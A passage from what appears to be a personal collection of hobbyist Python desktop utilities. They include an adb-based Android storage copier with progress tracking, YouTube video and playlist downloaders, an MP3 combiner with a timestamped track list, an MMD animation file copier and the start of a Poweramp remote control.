list of device mounts with SD card and internal storage at top.""" try: # Check if any devices are connected devices_result = subprocess.run( ["adb", "devices"], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) lines = devices_result.stdout.strip().splitlines()[1:] # skip header connected = [line for line in lines if "device" in line] if not connected: return ["No device connected or unauthorized"] # Get mounts from the first connected device mount_result = subprocess.run( ["adb", "shell", "mount"], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) mounts = [] sd_card_mount = None internal_storage = None other_mounts = [] for line in mount_result.stdout.splitlines(): parts = line.split() if len(parts) >= 3: device, mount_point = parts[0], parts[2] mount_entry = f"{device} -> {mount_point}" # Check for SD card patterns (xxxx-xxxx format in device or common SD mount points) if any(pattern in mount_point.lower() for pattern in ['/mnt/media_rw/', '/storage/', '/sdcard', '/external_sd']) \ or '-' in device and len(device.split('-')[0]) == 4: sd_card_mount = mount_entry # Check for internal storage elif '/storage/emulated/0' in mount_point or '/data/media' in mount_point: internal_storage = mount_entry else: other_mounts.append(mount_entry) # Add SD card at top if found (try to get specific format) if sd_card_mount: # Try to extract the xxxx-xxxx pattern for better display device_part = sd_card_mount.split('->')[0].strip() mount_part = sd_card_mount.split('->')[1].strip() if '-' in device_part and len(device_part) >= 9: mounts.append(f"{device_part} -> {mount_part} (micro SD card)") else: mounts.append(f"{sd_card_mount} (micro SD card)") else: # Try alternative method to find SD card try: sd_result = subprocess.run( ["adb", "shell", "ls", "/storage/"], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) for item in sd_result.stdout.split(): if item and item not in ['emulated', 'self']: mounts.append(f"SD Card -> /storage/{item}") break except: pass # Add internal storage second if internal_storage: mounts.append(f"{internal_storage} (Internal Storage)") else: # Try to find internal storage via other means mounts.append("/data/media/0 -> /storage/emulated/0 (Internal Storage)") # Add all other mounts mounts.extend(other_mounts) if not mounts: mounts.append("No mounts found") return mounts except subprocess.CalledProcessError as e: return [f"ADB error: {e.stderr.strip() or e}"] except FileNotFoundError: return ["ADB not found. Make sure it is installed and in PATH."] def get_mount_size(mount_path): """Get total size of a mount point in bytes.""" try: # Get the mount point path from the combo box entry if '->' in mount_path: mount_path = mount_path.split('->')[1].strip().split()[0] # Get just the path # Get total size using 'df' command result = subprocess.run( ["adb", "shell", "df", mount_path], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) # Parse the df output lines = result.stdout.strip().splitlines() if len(lines) >= 2: # Get the total size (in 1K blocks, typically second column) parts = lines[1].split() if len(parts) >= 2: # Convert from 1K blocks to bytes total_blocks = int(parts[1]) # Total 1K blocks return total_blocks * 1024 return 0 except Exception as e: print(f"Error getting mount size: {e}") return 0 def get_volume_id(drive_letter): """Return the volume serial number for a given drive letter.""" volume_name_buf = ctypes.create_unicode_buffer(1024) file_system_name_buf = ctypes.create_unicode_buffer(1024) serial_number = ctypes.c_uint() max_component_length = ctypes.c_uint() file_system_flags = ctypes.c_uint() ret = ctypes.windll.kernel32.GetVolumeInformationW( ctypes.c_wchar_p(drive_letter + "\\"), volume_name_buf, ctypes.sizeof(volume_name_buf), ctypes.byref(serial_number), ctypes.byref(max_component_length), ctypes.byref(file_system_flags), file_system_name_buf, ctypes.sizeof(file_system_name_buf) ) if ret: return f"{serial_number.value:X}" return "Unavailable" def monitor_file_progress(dest_file, process, signals, source_filename, max_wait_time=300): """Monitor file transfer progress by watching file growth.""" start_time = time.time() last_size = -1 no_progress_start = None # Wait for file to start appearing for _ in range(30): # Wait up to 3 seconds for file to appear if os.path.exists(dest_file): break if process.poll() is not None: # Process finished return False time.sleep(0.1) # Monitor file growth while process.poll() is None: # While process is still running current_time = time.time() # Check if we've been waiting too long if current_time - start_time > max_wait_time: signals.status.emit(f"Stuck on file: {source_filename} (no progress for {max_wait_time}s)") return False if os.path.exists(dest_file): current_size = os.path.getsize(dest_file) if last_size != -1: if current_size > last_size: # File is growing - reset no-progress timer no_progress_start = None last_size = current_size # Update progress occasionally if int(time.time()) % 5 == 0: # Every 5 seconds signals.status.emit(f"Copying {source_filename}: {current_size/(1024*1024):.1f} MB") else: # File size not increasing if no_progress_start is None: no_progress_start = current_time elif current_time - no_progress_start > 30: # No progress for 30 seconds signals.status.emit(f"File stuck: {source_filename} (no progress for 30s)") return False else: last_size = current_size else: # File doesn't exist yet if current_time - start_time > 10: # No file after 10 seconds signals.status.emit(f"No file created: {source_filename}") return False time.sleep(1) # Check every second return True # Process completed normally def copy_mount_to_drive(mount_path, drive_path, signals): """Copy entire mount to drive root, collecting failed files.""" failed_files = [] # List to store failed file info try: # Extract just the mount path from the combo box entry if '->' in mount_path: mount_path = mount_path.split('->')[1].strip().split()[0] # Get just the path # Clean drive path - ensure it's just the root (e.g., "F:\") drive_path = drive_path.rstrip('/').rstrip('\\') if not os.path.isdir(drive_path): drive_path = drive_path + "\\" if not drive_path.endswith('\\'): drive_path = drive_path + '\\' signals.status.emit(f"Copying to drive root: {drive_path}") signals.status.emit(f"Source mount: {mount_path}") # First, get total size for progress calculation total_size = get_mount_size(mount_path) if total_size == 0: signals.status.emit("Warning: Could not determine total size.") signals.progress.emit(0, total_size) # Get list of all directories and create them first signals.status.emit("Scanning directory structure...") # Get all directories dirs_result = subprocess.run( ["adb", "shell", "find", mount_path, "-type", "d"], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) dirs = [] if dirs_result.stdout.strip(): dirs = dirs_result.stdout.strip().splitlines() signals.status.emit(f"Found {len(dirs)} directories. Creating them...") # Create all directories on Windows first for i, dir_path in enumerate(dirs): if dir_path: # Convert to Windows path rel_path = os.path.relpath(dir_path, mount_path) windows_dir = os.path.join(drive_path, rel_path.replace('/', '\\')) if not os.path.exists(windows_dir): try: os.makedirs(windows_dir, exist_ok=True) except Exception: pass # Update progress occasionally if i % 500 == 0: progress_percent = int((i / len(dirs)) * 15) signals.progress.emit(progress_percent, 100) signals.progress.emit(15, 100) # Now get list of all files signals.status.emit("Getting file list...") files_result = subprocess.run( ["adb", "shell", "find", mount_path, "-type", "f"], capture_output=True, text=True, encoding='utf-8', errors='ignore', check=True ) files = [] if files_result.stdout.strip(): files = files_result.stdout.strip().splitlines() signals.status.emit(f"Found {len(files)} files to copy") # Copy files one by one with smart monitoring copied_files = 0 skipped_files = 0 total_files = len(files) start_time = datetime.now() batch_size = max(1, total_files // 100) # Update progress every 1% for i, source_file in enumerate(files): if not source_file: continue # Calculate Windows destination path rel_path = os.path.relpath(source_file, mount_path) dest_file = os.path.join(drive_path, rel_path.replace('/', '\\')) # Update progress copied_files += 1 if i % batch_size == 0: progress_percent = 15 + int((copied_files / total_files) * 80) signals.progress.emit(progress_percent, 100) # Update status with ETA if copied_files > 10: elapsed = (datetime.now() - start_time).total_seconds() files_per_second = copied_files / elapsed remaining_files = total_files - copied_files if files_per_second > 0: remaining_seconds = remaining_files / files_per_second if remaining_seconds < 60: eta = f"{int(remaining_seconds)}s" elif remaining_seconds < 3600: eta = f"{int(remaining_seconds/60)}m" else: eta = f"{int(remaining_seconds/3600)}h" signals.status.emit(f"Progress: {copied_files}/{total_files} - ETA: {eta}") # Show current file if i % 10 == 0: filename = os.path.basename(source_file) if len(filename) > 30: filename = filename[:27] + "..." signals.file_progress.emit(filename, copied_files, total_files) # Try to copy the file WITHOUT timeout try: # Start adb pull process process = subprocess.Popen( ["adb", "pull", source_file, dest_file], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=False ) # Monitor the file transfer filename_display = os.path.basename(source_file) if len(filename_display) > 30: filename_display = filename_display[:27] + "..." # Monitor for actual progress (file growth) transfer_ok = monitor_file_progress(dest_file, process, signals, filename_display) # Wait for process to complete process.wait() if process.returncode != 0 or not transfer_ok: # Get error message error_msg = "" try: stderr = process.stderr.read().decode('utf-8', errors='ignore') error_msg = stderr.strip() except: pass if not error_msg and not transfer_ok: error_msg = "Transfer stalled or no progress" # Add to failed files failed_files.append({ 'source': source_file, 'destination': dest_file, 'error': error_msg[:100], 'adb_command': f'adb pull "{source_file}" "{dest_file}"' }) skipped_files += 1 signals.status.emit(f"Failed: {os.path.basename(source_file)[:30]}...") except Exception as e: # Other error error_msg = str(e) failed_files.append({ 'source': source_file, 'destination': dest_file, 'error': error_msg[:100], 'adb_command': f'adb pull "{source_file}" "{dest_file}"' }) skipped_files += 1 if i % 100 == 0: signals.status.emit(f"Error: {os.path.basename(source_file)[:30]}...") # Final progress signals.progress.emit(100, 100) # Completion message success_count = total_files - skipped_files elapsed_total = (datetime.now() - start_time).total_seconds() if elapsed_total > 0: speed = success_count / elapsed_total time_str = "" if elapsed_total < 60: time_str = f"{elapsed_total:.0f} seconds" elif elapsed_total < 3600: time_str = f"{elapsed_total/60:.1f} minutes" else: time_str = f"{elapsed_total/3600:.1f} hours" signals.status.emit(f"Copy completed in {time_str} ({speed:.1f} files/sec)") signals.status.emit(f"Success: {success_count}, Failed: {skipped_files}, Total: {total_files}") if failed_files: signals.status.emit(f"{len(failed_files)} files failed to copy. You can export ADB commands to retry them.") signals.finished.emit(True, f"Copied {success_count}/{total_files} files to {drive_path}", failed_files) except Exception as e: signals.status.emit(f"Error during copy: {str(e)}") signals.finished.emit(False, f"Copy failed: {str(e)}", failed_files) class AdbStorageApp(QWidget): def __init__(self): super().__init__() self.setWindowTitle("ADB Storage & Drive Info") self.setGeometry(300, 300, 500, 500) layout = QVBoxLayout() # ADB Mounts Picker self.mount_label = QLabel("Device Storage Mounts:") self.mount_combo = QComboBox() self.refresh_btn = QPushButton("Refresh Mounts") self.refresh_btn.clicked.connect(self.load_mounts) # Drive input self.drive_label = QLabel("Drive:") self.drive_input = QLineEdit("F:") self.browse_btn = QPushButton("Browse") self.browse_btn.clicked.connect(self.browse_drive) # Volume ID display self.volume_label = QLabel("Volume ID:") self.volume_display = QLabel("") # Copy button self.copy_btn = QPushButton("Copy Selected Mount to Drive ROOT") self.copy_btn.clicked.connect(self.start_copy) self.copy_btn.setStyleSheet("background-color: #4CAF50; color: white; font-weight: bold; padding: 8px;") # Export failed files button (initially hidden) self.export_btn = QPushButton("Export Failed Files as ADB Commands") self.export_btn.clicked.connect(self.export_failed_files) self.export_btn.setStyleSheet("background-color: #ff9800; color: white; font-weight: bold; padding: 8px;") self.export_btn.setVisible(False) # Progress bar self.progress_label = QLabel("Progress:") self.progress_bar = QProgressBar() self.progress_bar.setTextVisible(True) # File progress label self.file_progress_label = QLabel("") # Failed files info self.failed_files_label = QLabel("Failed files: 0") self.failed_files_label.setStyleSheet("color: #f44336; font-weight: bold;") # Status log self.status_label = QLabel("Status:") self.status_text = QTextEdit() self.status_text.setReadOnly(True) self.status_text.setMaximumHeight(100) self.status_text.setFont(QFont("Courier", 9)) # Layout organization layout.addWidget(self.mount_label) layout.addWidget(self.mount_combo) layout.addWidget(self.refresh_btn) # Drive section drive_layout = QHBoxLayout() drive_layout.addWidget(self.drive_label) drive_layout.addWidget(self.drive_input) drive_layout.addWidget(self.browse_btn) layout.addLayout(drive_layout) layout.addWidget(self.volume_label) layout.addWidget(self.volume_display) layout.addWidget(self.copy_btn) layout.addWidget(self.export_btn) layout.addWidget(self.progress_label) layout.addWidget(self.progress_bar) layout.addWidget(self.file_progress_label) layout.addWidget(self.failed_files_label) layout.addWidget(self.status_label) layout.addWidget(self.status_text) self.setLayout(layout) # Initialize self.copy_thread = None self.signals = CopySignals() self.signals.progress.connect(self.update_progress) self.signals.status.connect(self.update_status) self.signals.finished.connect(self.copy_finished) self.signals.file_progress.connect(self.update_file_progress) self.failed_files = [] self.load_mounts() self.update_volume_id() def load_mounts(self): self.mount_combo.clear() mounts = get_adb_mounts() self.mount_combo.addItems(mounts) def browse_drive(self): folder = QFileDialog.getExistingDirectory(self, "Select Drive") if folder: drive = folder.split(":")[0] + ":" self.drive_input.setText(drive) def update_volume_id(self): drive = self.drive_input.text().strip() if drive and len(drive) == 2 and drive[1] == ":": vid = get_volume_id(drive) self.volume_display.setText(vid) else: self.volume_display.setText("Invalid Drive") def start_copy(self): mount_selection = self.mount_combo.currentText() drive_path = self.drive_input.text().strip() if mount_selection.startswith("No device") or mount_selection.startswith("ADB error"): self.update_status(f"Cannot copy: {mount_selection}") return if not drive_path or len(drive_path) != 2 or drive_path[1] != ":": self.update_status("Please select a valid drive (e.g., F:)") return # Add backslash for Windows drive drive_path = drive_path + "\\" # Reset failed files self.failed_files = [] self.failed_files_label.setText("Failed files: 0") self.export_btn.setVisible(False) # Disable controls during copy self.copy_btn.setEnabled(False) self.mount_combo.setEnabled(False) self.refresh_btn.setEnabled(False) self.drive_input.setEnabled(False) self.browse_btn.setEnabled(False) # Reset progress self.progress_bar.setValue(0) self.file_progress_label.setText("") self.status_text.clear() # Start copy in background thread self.copy_thread = threading.Thread( target=copy_mount_to_drive, args=(mount_selection, drive_path, self.signals), daemon=True ) self.copy_thread.start() def update_progress(self, current, total): """Update progress bar.""" if total > 0: percent = int((current / total) * 100) self.progress_bar.setValue(percent) if total >= 1024*1024*1024: current_str = f"{current/(1024*1024*1024):.2f}GB" total_str = f"{total/(1024*1024*1024):.2f}GB" elif total >= 1024*1024: current_str = f"{current/(1024*1024):.2f}MB" total_str = f"{total/(1024*1024):.2f}MB" elif total >= 1024: current_str = f"{current/1024:.2f}KB" total_str = f"{total/1024:.2f}KB" else: current_str = f"{current}B" total_str = f"{total}B" self.progress_bar.setFormat(f"{percent}% ({current_str} / {total_str})") else: if current <= 100: self.progress_bar.setValue(current) self.progress_bar.setFormat(f"{current}%") else: self.progress_bar.setValue(current % 100) self.progress_bar.setFormat("Copying...") def update_file_progress(self, filename, current, total): """Update current file being copied.""" self.file_progress_label.setText(f"Copying: {filename} ({current}/{total})") def update_status(self, message): """Add status message to log.""" timestamp = datetime.now().strftime("%H:%M:%S") self.status_text.append(f"[{timestamp}] {message}") self.status_text.verticalScrollBar().setValue( self.status_text.verticalScrollBar().maximum() ) def copy_finished(self, success, message, failed_files): """Handle copy completion.""" self.failed_files = failed_files # Update failed files count if failed_files: self.failed_files_label.setText(f"Failed files: {len(failed_files)}") self.failed_files_label.setStyleSheet("color: #f44336; font-weight: bold;") self.export_btn.setVisible(True) else: self.failed_files_label.setText("Failed files: 0") self.failed_files_label.setStyleSheet("color: black; font-weight: normal;") self.update_status(message) # Re-enable controls self.copy_btn.setEnabled(True) self.mount_combo.setEnabled(True) self.refresh_btn.setEnabled(True) self.drive_input.setEnabled(True) self.browse_btn.setEnabled(True) if success: self.progress_bar.setValue(100) self.progress_bar.setFormat("Copy completed!") else: self.progress_bar.setValue(0) self.progress_bar.setFormat("Copy failed") def export_failed_files(self): """Export failed files as ADB commands to a file.""" if not self.failed_files: QMessageBox.information(self, "No Failed Files", "There are no failed files to export.") return # Ask user for save location file_path, _ = QFileDialog.getSaveFileName( self, "Save ADB Commands", f"adb_retry_commands_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt", "Text Files (*.txt);;All Files (*.*)" ) if file_path: try: with open(file_path, 'w', encoding='utf-8') as f: f.write("# ADB commands to retry failed file copies\n") f.write(f"# Generated on: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"# Total failed files: {len(self.failed_files)}\n") f.write("#\n") f.write("# Commands:\n") f.write("#\n") for i, failed_file in enumerate(self.failed_files, 1): f.write(f"\n# File {i}: {os.path.basename(failed_file['source'])}\n") f.write(f"# Source: {failed_file['source']}\n") f.write(f"# Destination: {failed_file['destination']}\n") f.write(f"# Error: {failed_file['error']}\n") f.write(f"{failed_file['adb_command']}\n") # Also write a batch script version for Windows f.write("\n" + "="*80 + "\n") f.write("# Windows Batch Script (save as .bat file)\n") f.write("@echo off\n") f.write("echo Running ADB retry commands...\n") f.write("\n") for failed_file in self.failed_files: # Escape quotes for batch file cmd = failed_file['adb_command'].replace('"', '""') f.write(f"{cmd}\n") f.write("\necho All commands executed.\n") f.write("pause\n") QMessageBox.information( self, "Export Successful", f"ADB commands exported to:\n{file_path}\n\n" f"Total commands: {len(self.failed_files)}\n\n" "You can also copy the commands to a .bat file for easy execution." ) except Exception as e: QMessageBox.critical( self, "Export Failed", f"Failed to export ADB commands:\n{str(e)}" ) if __name__ == "__main__": app = QApplication(sys.argv) window = AdbStorageApp() window.show() sys.exit(app.exec()) Download multiple youtube links to mp4 -------------------------------------- from pytubefix import YouTube import os import re import tkinter as tk from tkinter import ttk def sanitize_filename(filename): """ Removes special characters from the filename. """ return re.sub(r'[^\w\-_\. ]', '_', filename) def log_error(video_url, error_message): """ Appends an error message to log.txt. """ with open("log.txt", "a") as log_file: log_file.write(f"Error downloading {video_url}: {error_message}\n") def download_video(video_url): """ Downloads a single YouTube video by URL. """ try: video = YouTube(video_url) filename = f"{sanitize_filename(video.title)}.mp4" print(f"Downloading: {filename}") stream = video.streams.filter(file_extension='mp4').first() # Check if the stream is available if not stream: print(f"No MP4 streams available for: {video_url}") log_error(video_url, "No MP4 streams available.") return stream.download(filename=filename) print(f"Download complete: {filename}") except Exception as e: print(f"Error downloading video {video_url}: {e}") log_error(video_url, str(e)) def download_videos_from_list(video_urls): """ Downloads multiple YouTube videos from a list of URLs. """ for url in video_urls.splitlines(): url = url.strip() # Remove any extra whitespace if url: # Ensure the URL is not empty download_video(url) def main(): root = tk.Tk() root.title("YouTube Video Downloader") url_label = ttk.Label(root, text="YouTube Video URLs (one per line):") url_label.pack(pady=10) url_entry = tk.Text(root, height=10, width=50) # Use tk.Text for multi-line input url_entry.pack(pady=10) download_button = ttk.Button(root, text="Download Videos", command=lambda: download_videos_from_list(url_entry.get("1.0", tk.END))) download_button.pack(pady=10) root.mainloop() if __name__ == "__main__": main() __________________________________ Audio File combiner (+ txt with timestamps writer) -------------------------------------------------- import mutagen from mutagen.mp3 import MP3 from mutagen.id3 import ID3, TIT2, TPE1 from tkinter import Tk, Label, Entry, Button, Text from tkinterdnd2 import DND_FILES, TkinterDnD import os class MP3Combiner: def __init__(self, root): self.root = root self.root.title("MP3 Combiner") self.label = Label(root, text="Drag and drop MP3 files here:") self.label.pack() self.text = Text(root, height=10, width=50) self.text.pack() self.delay_label = Label(root, text="Enter delay in seconds:") self.delay_label.pack() self.delay_entry = Entry(root) self.delay_entry.pack() self.combine_button = Button(root, text="Combine MP3s", command=self.combine_mp3s) self.combine_button.pack() self.mp3_files = [] self.root.drop_target_register(DND_FILES) self.root.dnd_bind('<>', self.on_drop) def on_drop(self, event): files = self.root.tk.splitlist(event.data) for file in files: if file.endswith('.mp3'): self.mp3_files.append(file) self.text.insert('end', f"{file}\n") def combine_mp3s(self): if not self.mp3_files: self.text.insert('end', "Please drop some MP3 files.\n") return try: delay_seconds = float(self.delay_entry.get()) except ValueError: self.text.insert('end', "Please enter a valid number for the delay.\n") return # Create silent delay file as bytes (no AudioSegment needed) delay_data = b'\x00' * int(44100 * 2 * delay_seconds) # 44100 sample rate, 2 bytes per sample (16-bit) # Initialize cumulative time for calculating timestamps cumulative_time = 0.0 txt_output_lines = [] with open("combined_output.mp3", "wb") as output_file: for file in self.mp3_files: # Read MP3 metadata for title audio = MP3(file, ID3=ID3) title = audio.get("TIT2", "Unknown Title") # Get title, default to "Unknown Title" duration = audio.info.length # Get the duration of the track # Write MP3 data to the combined file with open(file, "rb") as mp3_file: mp3_data = mp3_file.read() output_file.write(mp3_data) # Add current track's timestamp and title to the list minutes, seconds = divmod(int(cumulative_time), 60) timestamp = f"{minutes:02}:{seconds:02}" txt_output_lines.append(f"{timestamp} {title}") # Update cumulative time with track duration and delay cumulative_time += duration + delay_seconds # Append delay to the output file output_file.write(delay_data) # Save metadata to the combined MP3 file combined_audio = MP3("combined_output.mp3", ID3=ID3) combined_audio["TIT2"] = TIT2(encoding=3, text="Combined MP3") combined_audio["TPE1"] = TPE1(encoding=3, text="Various Artists") combined_audio.save() # Write timestamps and song titles to a text file with open("combined_output_timestamps.txt", "w") as txt_file: txt_file.write("\n".join(txt_output_lines)) self.text.insert('end', "Combined audio saved as 'combined_output.mp3'\n") self.text.insert('end', "Tracklist with timestamps saved as 'combined_output_timestamps.txt'\n") if __name__ == "__main__": root = TkinterDnD.Tk() app = MP3Combiner(root) root.mainloop() ____________________________________ MMD file copier (vmd, camera, audio) - drag n drop -------------------------------------------- import tkinter as tk from tkinterdnd2 import DND_FILES, TkinterDnD import os import shutil class FileCopyApp: def __init__(self, root): self.root = root self.root.title("File Copy Tool") # Initialize variables for file paths and base path self.base_path = tk.StringVar(value="E:\\Dropbox\\Public\\00_Html\\Examples\\3D_Model_render\\MMD\\SampleWebMMD-master") self.camera_path = "" self.vmd_path = "" self.audio_path = "" # Create GUI elements self.create_gui() def create_gui(self): # Create label and entry for base path base_path_label = tk.Label(self.root, text="Base Path:") base_path_label.grid(row=0, column=0, padx=10, pady=10, sticky="e") self.base_path_entry = tk.Entry(self.root, textvariable=self.base_path, width=50) self.base_path_entry.grid(row=0, column=1, padx=10, pady=10, sticky="ew") # Create labels for drop boxes tk.Label(self.root, text="Camera").grid(row=1, column=0, padx=10, pady=10) tk.Label(self.root, text="VMD").grid(row=1, column=1, padx=10, pady=10) tk.Label(self.root, text="Audio").grid(row=1, column=2, padx=10, pady=10) # Create drop boxes self.create_drop_box("camera", row=2, column=0) self.create_drop_box("vmd", row=2, column=1) self.create_drop_box("audio", row=2, column=2) # Entry for name name_label = tk.Label(self.root, text="Enter a name:") name_label.grid(row=3, column=0, columnspan=3, padx=10, pady=10) self.name_entry = tk.Entry(self.root) self.name_entry.grid(row=4, column=0, columnspan=3, padx=10, pady=10, sticky="ew") # Button to initiate copy process copy_button = tk.Button(self.root, text="Copy Files", command=self.copy_files) copy_button.grid(row=5, column=0, columnspan=3, padx=10, pady=10, sticky="ew") # Label for success message self.success_label = tk.Label(self.root, text="", fg="green") self.success_label.grid(row=6, column=0, columnspan=3, padx=10, pady=10) # Configure grid layout self.root.grid_rowconfigure(2, weight=1) self.root.grid_columnconfigure(0, weight=1) self.root.grid_columnconfigure(1, weight=1) self.root.grid_columnconfigure(2, weight=1) def create_drop_box(self, target_path, row, column): frame = tk.Frame(self.root, borderwidth=2, relief="groove") frame.grid(row=row, column=column, padx=10, pady=10, sticky="nsew") label = tk.Label(frame, text=target_path.capitalize(), anchor="w") label.pack(fill="x", padx=10, pady=(10, 5)) drop_box = tk.Listbox(frame, relief="sunken", bd=2, height=5, width=40) drop_box.pack(fill="both", padx=10, pady=(0, 10)) # Enable drag and drop handling using tkinterdnd2 drop_box.drop_target_register(DND_FILES) drop_box.dnd_bind('<>', lambda event, target=target_path: self.on_drop(event, target, drop_box)) def on_drop(self, event, target_path, drop_box): # Handle dropped files file_paths = event.data.split() # Split by spaces to get individual file paths if file_paths: print(f"Dropped file paths: {file_paths}") # Debug print for dropped files for file_path in file_paths: self.on_file_drop(file_path, target_path, drop_box) def on_file_drop(self, file_path, target_path, drop_box): # Handle dropped file path print(f"Dropped file path: {file_path}") # Debug print # Concatenate parts back into full path if necessary if not os.path.isabs(file_path): file_path = os.path.join(os.getcwd(), file_path) if target_path == "camera": self.camera_path = file_path elif target_path == "vmd": self.vmd_path = file_path elif target_path == "audio": self.audio_path = file_path # Update drop box display file_name = os.path.basename(file_path) drop_box.delete(0, tk.END) drop_box.insert(tk.END, f"Dropped: {file_name}") def copy_files(self): name = self.name_entry.get().strip() if name == "": self.success_label.config(text="Please enter a name.", fg="red") return self.base_path_value = self.base_path.get().strip() if not self.base_path_value: self.success_label.config(text="Please enter a base path.", fg="red") return if self.camera_path: camera_file_name = os.path.basename(self.camera_path) _, camera_file_ext = os.path.splitext(camera_file_name) new_camera_file_name = f"{name}{camera_file_ext}" shutil.copy(self.camera_path, os.path.join(self.base_path_value, "camera", new_camera_file_name)) print(f"Copied '{camera_file_name}' to {os.path.join(self.base_path_value, 'camera')} as '{new_camera_file_name}'") if self.vmd_path: vmd_file_name = os.path.basename(self.vmd_path) _, vmd_file_ext = os.path.splitext(vmd_file_name) new_vmd_file_name = f"{name}{vmd_file_ext}" shutil.copy(self.vmd_path, os.path.join(self.base_path_value, "vmd", new_vmd_file_name)) print(f"Copied '{vmd_file_name}' to {os.path.join(self.base_path_value, 'vmd')} as '{new_vmd_file_name}'") if self.audio_path: audio_file_name = os.path.basename(self.audio_path) _, audio_file_ext = os.path.splitext(audio_file_name) new_audio_file_name = f"{name}{audio_file_ext}" shutil.copy(self.audio_path, os.path.join(self.base_path_value, "audio", new_audio_file_name)) print(f"Copied '{audio_file_name}' to {os.path.join(self.base_path_value, 'audio')} as '{new_audio_file_name}'") self.success_label.config(text="Files copied successfully.", fg="green") if __name__ == "__main__": root = TkinterDnD.Tk() app = FileCopyApp(root) root.mainloop() ___________________________________________ Youtube MP3 Playlist Downloader -------------------------------- from pytube import Playlist import os from pydub import AudioSegment import re import tkinter as tk from tkinter import ttk def sanitize_filename(filename): """ Removes special characters from the filename. """ return re.sub(r'[^\w\-_\. ]', '_', filename) def download_playlist(playlist_url): playlist = Playlist(playlist_url) print(f"Downloading {len(playlist)} videos from the playlist.") for index, video in enumerate(playlist.videos, start=1): filename = f"{index:03d} - {sanitize_filename(video.title)}.mp3" print(f"Downloading {filename}") try: # Download the audio stream as MP3 with 128 kbps bitrate audio = video.streams.filter(only_audio=True).first() audio.download(filename=filename) # Adjust the bitrate to 192 kbps audio_segment = AudioSegment.from_file(filename, format="mp3") audio_segment.export(filename, format="mp3", bitrate="192k") except Exception as e: print(f"Error downloading {filename}: {e}") print("Playlist download complete.") def main(): root = tk.Tk() root.title("YouTube Playlist Downloader") url_label = ttk.Label(root, text="YouTube Playlist URL:") url_label.pack(pady=10) url_entry = ttk.Entry(root, width=50) url_entry.pack(pady=10) download_button = ttk.Button(root, text="Download Playlist", command=lambda: download_playlist(url_entry.get())) download_button.pack(pady=10) root.mainloop() if __name__ == "__main__": main() _________________________ Poweramp adb Control ----------------------------- import subprocess import tkinter as tk from tkinter import ttk, messagebox, scrolledtext from pynput import keyboard import threading import requests from datetime import datetime import os import json from urllib.parse import quote import re from plyer import notification class ADBAudioControl: def __init__(self): self.window = tk.Tk() self.window.title("Poweramp Remote") self.window.geometry("500x900") self.window.configure(bg='#1a1a1a') # Initialize variables self.ip_address = tk.StringVar(value="192.168.0.101") self.port = tk.StringVar(value="5555") self.status_text = tk.StringVar(value="Ready") self.connection_status = tk.StringVar(value="Not Connected (Press RestartADB if this is first run") self.files_list = [] self.selected_file_path = tk.StringVar(value="") # Track info and checkboxes self.track_info_text = tk.StringVar(value="No track info available") self.fetch_track_info = tk.BooleanVar(value=True) # Checked by default self.show_notifications = tk.BooleanVar(value=True) # Taskbar notifications checkbox # Lock to prevent double keypress handling self.is_processing_keypress = False self.last_track_info = "" # To avoid duplicate notifications self.pending_notification = None # Track if we're waiting for track info # Set up keyboard listener self.keyboard_listener = keyboard.Listener(on_press=self.handle_key_press) self.keyboard_listener.start() self.setup_ui() self.auto_fetch_ip() def setup_ui(self): # Main container with padding main_frame = tk.Frame(self.window, bg='#1a1a1a', padx=20, pady=20) main_frame.pack(fill=tk.BOTH, expand=True) # Title title_label = tk.Label(main_frame, text="Poweramp Remote", font=('Arial', 24, 'bold'), fg='white', bg='#1a1a1a') title_label.pack(pady=(0, 2)) # Connection Status status_frame = tk.Frame(main_frame, bg='#2d2d2d', padx=10, pady=10) status_frame.pack(fill=tk.X, pady=(0, 10)) status_label = tk.Label(status_frame, text="Connection Status:", font=('Arial', 10), fg='#cccccc', bg='#2d2d2d') status_label.pack(side=tk.LEFT) self.connection_status_label = tk.Label(status_frame, textvariable=self.connection_status, font=('Arial', 10, 'bold'), fg='#ff6b6b', bg='#2d2d2d') self.connection_status_label.pack(side=tk.RIGHT) # IP Address Section ip_frame = tk.Frame(main_frame, bg='#1a1a1a') ip_frame.pack(fill=tk.X, pady=(0, 15)) ip_label = tk.Label(ip_frame, text="IP Address:", font=('Arial', 11), fg='white', bg='#1a1a1a') ip_label.pack(anchor=tk.W) ip_entry = tk.Entry(ip_frame, textvariable=self.ip_address, font=('Arial', 11), bg='#333333', fg='white', insertbackground='white', relief=tk.FLAT) ip_entry.pack(fill=tk.X, pady=(5, 0), ipady=8) # Port Section port_frame = tk.Frame(main_frame, bg='#1a1a1a') port_frame.pack(fill=tk.X, pady=(0, 30)) port_label = tk.Label(port_frame, text="Port:", font=('Arial', 11), fg='white', bg='#1a1a1a') port_label.pack(anchor=tk.W) port_entry = tk.Entry(port_frame, textvariable=self.port, font=('Arial', 11), bg='#333333', fg='white', insertbackground='white', relief=tk.FLAT) port_entry.pack(fill=tk.X, pady=(5, 0), ipady=8) # Control Buttons Frame control_frame = tk.Frame(main_frame, bg='#1a1a1a') control_frame.pack(pady=(0, 20)) # Control Buttons button_style = { 'font': ('Arial', 12, 'bold'), 'bg': '#404040', 'fg': 'white', 'activebackground': '#505050', 'activeforeground': 'white', 'relief': tk.FLAT, 'padx': 10, 'pady': 5, 'width': 5 } # Previous Album Button self.prev_album_button = tk.Button(control_frame, text="āŖ", command=lambda: self.send_adb_command(6), **button_style) self.prev_album_button.grid(row=0, column=0, padx=2, pady=5) # Previous Track Button self.prev_button = tk.Button(control_frame, text="ā®", command=lambda: self.send_adb_command(5), **button_style) self.prev_button.grid(row=0, column=1, padx=2, pady=5) # Play/Pause Button self.play_pause_button = tk.Button(control_frame, text="āÆ", command=lambda: self.send_adb_command(1), **button_style) self.play_pause_button.grid(row=0, column=2, padx=2, pady=5) # Next Track Button self.next_button = tk.Button(control_frame, text="ā­", command=lambda: self.send_adb_command(4), **button_style) self.next_button.grid(row=0, column=3, padx=2, pady=5) # Next Album Button self.next_album_button = tk.Button(control_frame, text="ā©", command=lambda: self.send_adb_command(7), **button_style) self.next_album_button.grid(row=0, column=4, padx=2, pady=5) # Track Info Section track_info_frame = tk.LabelFrame(main_frame, text="Now 